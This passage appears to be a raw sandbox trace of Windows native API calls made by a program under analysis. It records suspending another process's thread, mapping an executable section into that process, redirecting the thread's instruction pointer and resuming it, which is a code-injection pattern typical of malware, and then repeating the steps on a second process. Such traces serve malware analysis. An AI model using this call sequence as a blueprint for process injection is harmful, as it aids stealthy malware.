NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0635.544] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x21d0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0635.549] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ffd34, Ebx=0x299000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ffcdc, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0x4ffcc4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0635.551] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0635.551] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xc7a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xc8000) returned 0x0 [0635.556] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xc7a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x710000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xc8000) returned 0x0 [0635.564] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0635.583] NtClose (Handle=0x214) returned 0x0 [0635.583] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ffd34, Ebx=0x299000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ffcdc, Eip=0x745927, SegCs=0x23, EFlags=0x202, Esp=0x4ffcc4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0635.584] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0635.584] NtClose (Handle=0x20c) returned 0x0 [0635.584] NtClose (Handle=0x1e4) returned 0x0 [0635.586] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xf7c, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0635.586] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0635.586] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0635.586] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0x327000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0635.586] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0640.598] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xe4c) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0640.598] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0640.598] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2390000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0640.603] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x55fa98, Ebx=0x327000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x55fa40, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0x55fa28, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, 